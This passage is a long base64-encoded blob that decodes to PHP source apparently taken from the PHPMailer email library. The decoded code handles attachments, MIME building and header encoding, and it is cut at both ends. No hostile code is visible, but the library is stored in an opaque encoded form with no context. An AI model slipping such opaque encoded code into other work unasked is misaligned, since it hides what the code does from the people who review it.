+TEU7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2V0TWVzc2FnZVR5cGUoKSB7CiAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gYXJyYXkoKTsKICAgIGlmKCR0aGlzLT5BbHRlcm5hdGl2ZUV4aXN0cygpKSAkdGhpcy0+bWVzc2FnZV90eXBlW10gPSAiYWx0IjsKICAgIGlmKCR0aGlzLT5JbmxpbmVJbWFnZUV4aXN0cygpKSAkdGhpcy0+bWVzc2FnZV90eXBlW10gPSAiaW5saW5lIjsKICAgIGlmKCR0aGlzLT5BdHRhY2htZW50RXhpc3RzKCkpICR0aGlzLT5tZXNzYWdlX3R5cGVbXSA9ICJhdHRhY2giOwogICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9IGltcGxvZGUoIl8iLCAkdGhpcy0+bWVzc2FnZV90eXBlKTsKICAgIGlmKCR0aGlzLT5tZXNzYWdlX3R5cGUgPT0gIiIpICR0aGlzLT5tZXNzYWdlX3R5cGUgPSAicGxhaW4iOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkgewogICAgcmV0dXJuICRuYW1lIC4gJzogJyAuICR2YWx1ZSAuICR0aGlzLT5MRTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBUZXh0TGluZSgkdmFsdWUpIHsKICAgIHJldHVybiAkdmFsdWUgLiAkdGhpcy0+TEU7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQXR0YWNobWVudCgkcGF0aCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycpIHsKICAgIHRyeSB7CiAgICAgIGlmICggIUBpc19maWxlKCRwYXRoKSApIHsKICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5MYW5nKCdmaWxlX2FjY2VzcycpIC4gJHBhdGgsIHNlbGY6OlNUT1BfQ09OVElOVUUpOwogICAgICB9CgogICAgICAvL0lmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7CiAgICAgIH0KCiAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgaWYgKCAkbmFtZSA9PSAnJyApIHsKICAgICAgICAkbmFtZSA9ICRmaWxlbmFtZTsKICAgICAgfQoKICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgMiA9PiAkbmFtZSwKICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgIDUgPT4gZmFsc2UsICAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICA2ID0+ICdhdHRhY2htZW50JywKICAgICAgICA3ID0+IDAKICAgICAgKTsKCiAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICB0aHJvdyAkZTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPlNNVFBEZWJ1ZykgewogICAgICAgICR0aGlzLT5lZGVidWcoJGUtPmdldE1lc3NhZ2UoKS4iXG4iKTsKICAgICAgfQogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBHZXRBdHRhY2htZW50cygpIHsKICAgIHJldHVybiAkdGhpcy0+YXR0YWNobWVudDsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBBdHRhY2hBbGwoJGRpc3Bvc2l0aW9uX3R5cGUsICRib3VuZGFyeSkgewogICAgJG1pbWUgPSBhcnJheSgpOwogICAgJGNpZFVuaXEgPSBhcnJheSgpOwogICAgJGluY2wgPSBhcnJheSgpOwoKICAgIGZvcmVhY2ggKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KSB7CiAgICAgIGlmKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgJHN0cmluZyA9ICcnOwogICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgJGJTdHJpbmcgPSAkYXR0YWNobWVudFs1XTsKICAgICAgICBpZiAoJGJTdHJpbmcpIHsKICAgICAgICAgICRzdHJpbmcgPSAkYXR0YWNobWVudFswXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJHBhdGggPSAkYXR0YWNobWVudFswXTsKICAgICAgICB9CgogICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICBpZiAoaW5fYXJyYXkoJGluY2xoYXNoLCAkaW5jbCkpIHsgY29udGludWU7IH0KICAgICAgICAkaW5jbFtdICAgICAgPSAkaW5jbGhhc2g7CiAgICAgICAgJGZpbGVuYW1lICAgID0gJGF0dGFjaG1lbnRbMV07CiAgICAgICAgJG5hbWUgICAgICAgID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgJGVuY29kaW5nICAgID0gJGF0dGFjaG1lbnRbM107CiAgICAgICAgJHR5cGUgICAgICAgID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJGF0dGFjaG1lbnRbNl07CiAgICAgICAgJGNpZCAgICAgICAgID0gJGF0dGFjaG1lbnRbN107CiAgICAgICAgaWYgKCAkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgaXNzZXQoJGNpZFVuaXFbJGNpZF0pICkgeyBjb250aW51ZTsgfQogICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoIi0tJXMlcyIsICRib3VuZGFyeSwgJHRoaXMtPkxFKTsKICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1UeXBlOiAlczsgbmFtZT1cIiVzXCIlcyIsICR0eXBlLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJG5hbWUpKSwgJHRoaXMtPkxFKTsKICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcyIsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKCiAgICAgICAgaWYoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigiQ29udGVudC1JRDogPCVzPiVzIiwgJGNpZCwgJHRoaXMtPkxFKTsKICAgICAgICB9CgogICAgICAgIGlmIChwcmVnX21hdGNoKCcvWyBcKFwpPD5ALDs6XFwiXC9cW1xdXD89XS8nLCAkbmFtZSkpIHsKICAgICAgICAgICRtaW1lW10gPSBzcHJpbnRmKCJDb250ZW50LURpc3Bvc2l0aW9uOiAlczsgZmlsZW5hbWU9XCIlc1wiJXMiLCAkZGlzcG9zaXRpb24sICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkbmFtZSkpLCAkdGhpcy0+TEUuJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoIkNvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzIiwgJGRpc3Bvc2l0aW9uLCAkdGhpcy0+RW5jb2RlSGVhZGVyKCR0aGlzLT5TZWN1cmVIZWFkZXIoJG5hbWUpKSwgJHRoaXMtPkxFLiR0aGlzLT5MRSk7CiAgICAgICAgfQoKICAgICAgICBpZigkYlN0cmluZykgewogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5FbmNvZGVTdHJpbmcoJHN0cmluZywgJGVuY29kaW5nKTsKICAgICAgICAgIGlmKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgfQogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+RW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nKTsKICAgICAgICAgIGlmKCR0aGlzLT5Jc0Vycm9yKCkpIHsKICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgfQogICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRS4kdGhpcy0+TEU7CiAgICAgICAgfQogICAgICB9CiAgICB9CgogICAgJG1pbWVbXSA9IHNwcmludGYoIi0tJXMtLSVzIiwgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwoKICAgIHJldHVybiBpbXBsb2RlKCIiLCAkbWltZSk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gRW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpIHsKICAgIHRyeSB7CiAgICAgIGlmICghaXNfcmVhZGFibGUoJHBhdGgpKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnZmlsZV9vcGVuJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgIH0KICAgICAgJG1hZ2ljX3F1b3RlcyA9IGdldF9tYWdpY19xdW90ZXNfcnVudGltZSgpOwogICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsKICAgICAgICB9CiAgICAgIH0KICAgICAgJGZpbGVfYnVmZmVyICA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgJGZpbGVfYnVmZmVyICA9ICR0aGlzLT5FbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICB9CiAgICAgIH0KICAgICAgcmV0dXJuICRmaWxlX2J1ZmZlcjsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgIHJldHVybiAnJzsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpIHsKICAgICRlbmNvZGVkID0gJyc7CiAgICBzd2l0Y2goc3RydG9sb3dlcigkZW5jb2RpbmcpKSB7CiAgICAgIGNhc2UgJ2Jhc2U2NCc6CiAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnN2JpdCc6CiAgICAgIGNhc2UgJzhiaXQnOgogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkZpeEVPTCgkc3RyKTsKICAgICAgICAvL01ha2Ugc3VyZSBpdCBlbmRzIHdpdGggYSBsaW5lIGJyZWFrCiAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkKICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnYmluYXJ5JzoKICAgICAgICAkZW5jb2RlZCA9ICRzdHI7CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkVuY29kZVFQKCRzdHIpOwogICAgICAgIGJyZWFrOwogICAgICBkZWZhdWx0OgogICAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJGVuY29kZWQ7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gRW5jb2RlSGVhZGVyKCRzdHIsICRwb3NpdGlvbiA9ICd0ZXh0JykgewogICAgJHggPSAwOwoKICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvW1wyMDAtXDM3N10vJywgJHN0cikpIHsKICAgICAgICAgICRlbmNvZGVkID0gYWRkY3NsYXNoZXMoJHN0ciwgIlwwLi5cMzdcMTc3XFxcIiIpOwogICAgICAgICAgaWYgKCgkc3RyID09ICRlbmNvZGVkKSAmJiAhcHJlZ19tYXRjaCgnL1teQS1aYS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsKICAgICAgICAgICAgcmV0dXJuICgkZW5jb2RlZCk7CiAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHggPSBwcmVnX21hdGNoX2FsbCgnL1teXDA0MFwwNDFcMDQzLVwxMzNcMTM1LVwxNzZdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgJHggPSBwcmVnX21hdGNoX2FsbCgnL1soKSJdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgY2FzZSAndGV4dCc6CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgJHggKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICBicmVhazsKICAgIH0KCiAgICBpZiAoJHggPT0gMCkgeyAvL1RoZXJlIGFyZSBubyBjaGFycyB0aGF0IG5lZWQgZW5jb2RpbmcKICAgICAgcmV0dXJuICgkc3RyKTsKICAgIH0KCiAgICAkbWF4bGVuID0gNzUgLSA3IC0gc3RybGVuKCR0aGlzLT5DaGFyU2V0KTsKICAgIGlmICgkeCA+IHN0cmxlbigkc3RyKS8zKSB7IC8vTW9yZSB0aGFuIGEgdGhpcmQgb2YgdGhlIGNvbnRlbnQgd2lsbCBuZWVkIGVuY29kaW5nLCBzbyBCIGVuY29kaW5nIHdpbGwgYmUgbW9zdCBlZmZpY2llbnQKICAgICAgJGVuY29kaW5nID0gJ0InOwogICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSAmJiAkdGhpcy0+SGFzTXVsdGlCeXRlcygkc3RyKSkgewogICAgICAgICRlbmNvZGVkID0gJHRoaXMtPkJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgfSBlbHNlIHsKICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJHN0cik7CiAgICAgICAgJG1heGxlbiAtPSAkbWF4bGVuICUgNDsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgJGVuY29kaW5nID0gJ1EnOwogICAgICAkZW5jb2RlZCA9ICR0aGlzLT5FbmNvZGVRKCRzdHIsICRwb3NpdGlvbik7CiAgICAgICRlbmNvZGVkID0gJHRoaXMtPldyYXBUZXh0KCRlbmNvZGVkLCAkbWF4bGVuLCB0cnVlKTsKICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZSgnPScuc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgfQoKICAgICRlbmNvZGVkID0gcHJlZ19yZXBsYWNlKCcvXiguKikkL20nLCAiID0/Ii4kdGhpcy0+Q2hhclNldC4iPyRlbmNvZGluZz9cXDE/PSIsICRlbmNvZGVkKTsKICAgICRlbmNvZGVkID0gdHJpbShzdHJfcmVwbGFjZSgiXG4iLCAkdGhpcy0+TEUsICRlbmNvZGVkKSk7CgogICAgcmV0dXJuICRlbmNvZGVkOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEhhc011bHRpQnl0ZXMoJHN0cikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgIH0gZWxzZSB7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBCYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwgJGxmPW51bGwpIHsKICAgICRzdGFydCA9ICI9PyIuJHRoaXMtPkNoYXJTZXQuIj9CPyI7CiAgICAkZW5kID0gIj89IjsKICAgICRlbmNvZGVkID0gIiI7CiAgICBpZiAoJGxmID09PSBudWxsKSB7CiAgICAgICRsZiA9ICR0aGlzLT5MRTsKICAgIH0KCiAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgJHJhdGlvID0gJG1iX2xlbmd0aCAvIHN0cmxlbigkc3RyKTsKICAgICRvZmZzZXQgPSAkYXZnTGVuZ3RoID0gZmxvb3IoJGxlbmd0aCAqICRyYXRpbyAqIC43NSk7CgogICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAkbG9va0JhY2sgPSAwOwoKICAgICAgZG8gewogICAgICAgICRvZmZzZXQgPSAkYXZnTGVuZ3RoIC0gJGxvb2tCYWNrOwogICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICRjaHVuayA9IGJhc2U2NF9lbmNvZGUoJGNodW5rKTsKICAgICAgICAkbG9va0JhY2srKzsKICAgICAgfQogICAgICB3aGlsZSAoc3RybGVuKCRjaHVuaykgPiAkbGVuZ3RoKTsKCiAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsZjsKICAgIH0KCiAgICAkZW5jb2RlZCA9IHN1YnN0cigkZW5jb2RlZCwgMCwgLXN0cmxlbigkbGYpKTsKICAgIHJldHVybiAkZW5jb2RlZDsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXggPSA3NikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncXVvdGVkX3ByaW50YWJsZV9lbmNvZGUnKSkgewogICAgICByZXR1cm4gcXVvdGVkX3ByaW50YWJsZV9lbmNvZGUoJHN0cmluZyk7CiAgICB9CiAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoYXJyYXkoJyUyMCcsICclMEQlMEEuJywgJyUwRCUwQScsICclJyksIGFycmF5KCcgJywgIlxyXG49MkUiLCAiXHJcbiIsICc9JyksIHJhd3VybGVuY29kZSgkc3RyaW5nKSk7CiAgICAkc3RyaW5nID0gcHJlZ19yZXBsYWNlKCcvW15cclxuXXsnLigkbGluZV9tYXggLSAzKS4nfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICByZXR1cm4gJHN0cmluZzsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBFbmNvZGVRUHBocCgkc3RyaW5nLCAkbGluZV9tYXggPSA3NiwgJHNwYWNlX2NvbnYgPSBmYWxzZSkgewogICAgcmV0dXJuICR0aGlzLT5FbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXgpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEVuY29kZVEoJHN0ciwgJHBvc2l0aW9uID0gJ3RleHQnKSB7CiAgICAkcGF0dGVybiA9ICcnOwogICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJycsICRzdHIpOwogICAgc3dpdGNoIChzdHJ0b2xvd2VyKCRwb3NpdGlvbikpIHsKICAgICAgY2FzZSAncGhyYXNlJzoKICAgICAgICAkcGF0dGVybiA9ICdeQS1aYS16MC05ISorXC8gLSc7CiAgICAgICAgYnJlYWs7CgogICAgICBjYXNlICdjb21tZW50JzoKICAgICAgICAkcGF0dGVybiA9ICdcKFwpIic7CgogICAgICBjYXNlICd0ZXh0JzoKICAgICAgZGVmYXVsdDoKICAgICAgICAkcGF0dGVybiA9ICdcMDc1XDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc3XDEzN1wxNzctXDM3NycgLiAkcGF0dGVybjsKICAgICAgICBicmVhazsKICAgIH0KCiAgICBpZiAocHJlZ19tYXRjaF9hbGwoIi9beyRwYXR0ZXJufV0vIiwgJGVuY29kZWQsICRtYXRjaGVzKSkgewogICAgICBmb3JlYWNoIChhcnJheV91bmlxdWUoJG1hdGNoZXNbMF0pIGFzICRjaGFyKSB7CiAgICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZSgkY2hhciwgJz0nIC4gc3ByaW50ZignJTAyWCcsIG9yZCgkY2hhcikpLCAkZW5jb2RlZCk7CiAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJyAnLCAnXycsICRlbmNvZGVkKTsKfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkU3RyaW5nQXR0YWNobWVudCgkc3RyaW5nLCAkZmlsZW5hbWUsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnKSB7CiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpOwogICAgfQogICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAwID0+ICRzdHJpbmcsCiAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAyID0+IGJhc2VuYW1lKCRmaWxlbmFtZSksCiAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICA0ID0+ICR0eXBlLAogICAgICA1ID0+IHRydWUsICAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgNiA9PiAnYXR0YWNobWVudCcsCiAgICAgIDcgPT4gMAogICAgKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRFbWJlZGRlZEltYWdlKCRwYXRoLCAkY2lkLCAkbmFtZSA9ICcnLCAkZW5jb2RpbmcgPSAnYmFzZTY0JywgJHR5cGUgPSAnJykgewogICAgaWYgKCAhQGlzX2ZpbGUoJHBhdGgpICkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJHRoaXMtPkxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCk7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7CiAgICB9CgogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgaWYgKCAkbmFtZSA9PSAnJyApIHsKICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICB9CgogICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgIDAgPT4gJHBhdGgsCiAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAyID0+ICRuYW1lLAogICAgICAzID0+ICRlbmNvZGluZywKICAgICAgNCA9PiAkdHlwZSwKICAgICAgNSA9PiBmYWxzZSwgIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICA2ID0+ICdpbmxpbmUnLAogICAgICA3ID0+ICRjaWQKICAgICk7CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRTdHJpbmdFbWJlZGRlZEltYWdlKCRzdHJpbmcsICRjaWQsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnKSB7CiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkbmFtZSk7CiAgICB9CiAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgIDAgPT4gJHN0cmluZywKICAgICAgMSA9PiAkbmFtZSwKICAgICAgMiA9PiAkbmFtZSwKICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgIDQgPT4gJHR5cGUsCiAgICAgIDUgPT4gdHJ1ZSwgIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICA2ID0+ICdpbmxpbmUnLAogICAgICA3ID0+ICRjaWQKICAgICk7CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBJbmxpbmVJbWFnZUV4aXN0cygpIHsKICAgIGZvcmVhY2goJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBdHRhY2htZW50RXhpc3RzKCkgewogICAgZm9yZWFjaCgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBbHRlcm5hdGl2ZUV4aXN0cygpIHsKICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPkFsdEJvZHkpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENsZWFyQWRkcmVzc2VzKCkgewogICAgZm9yZWFjaCgkdGhpcy0+dG8gYXMgJHRvKSB7CiAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCR0b1swXSldKTsKICAgIH0KICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ2xlYXJDQ3MoKSB7CiAgICBmb3JlYWNoKCR0aGlzLT5jYyBhcyAkY2MpIHsKICAgICAgdW5zZXQoJHRoaXMtPmFsbF9yZWNpcGllbnRzW3N0cnRvbG93ZXIoJGNjWzBdKV0pOwogICAgfQogICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckJDQ3MoKSB7CiAgICBmb3JlYWNoKCR0aGlzLT5iY2MgYXMgJGJjYykgewogICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYmNjWzBdKV0pOwogICAgfQogICAgJHRoaXMtPmJjYyA9IGFycmF5KCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ2xlYXJSZXBseVRvcygpIHsKICAgICR0aGlzLT5SZXBseVRvID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckFsbFJlY2lwaWVudHMoKSB7CiAgICAkdGhpcy0+dG8gPSBhcnJheSgpOwogICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgJHRoaXMtPmFsbF9yZWNpcGllbnRzID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckF0dGFjaG1lbnRzKCkgewogICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENsZWFyQ3VzdG9tSGVhZGVycygpIHsKICAgICR0aG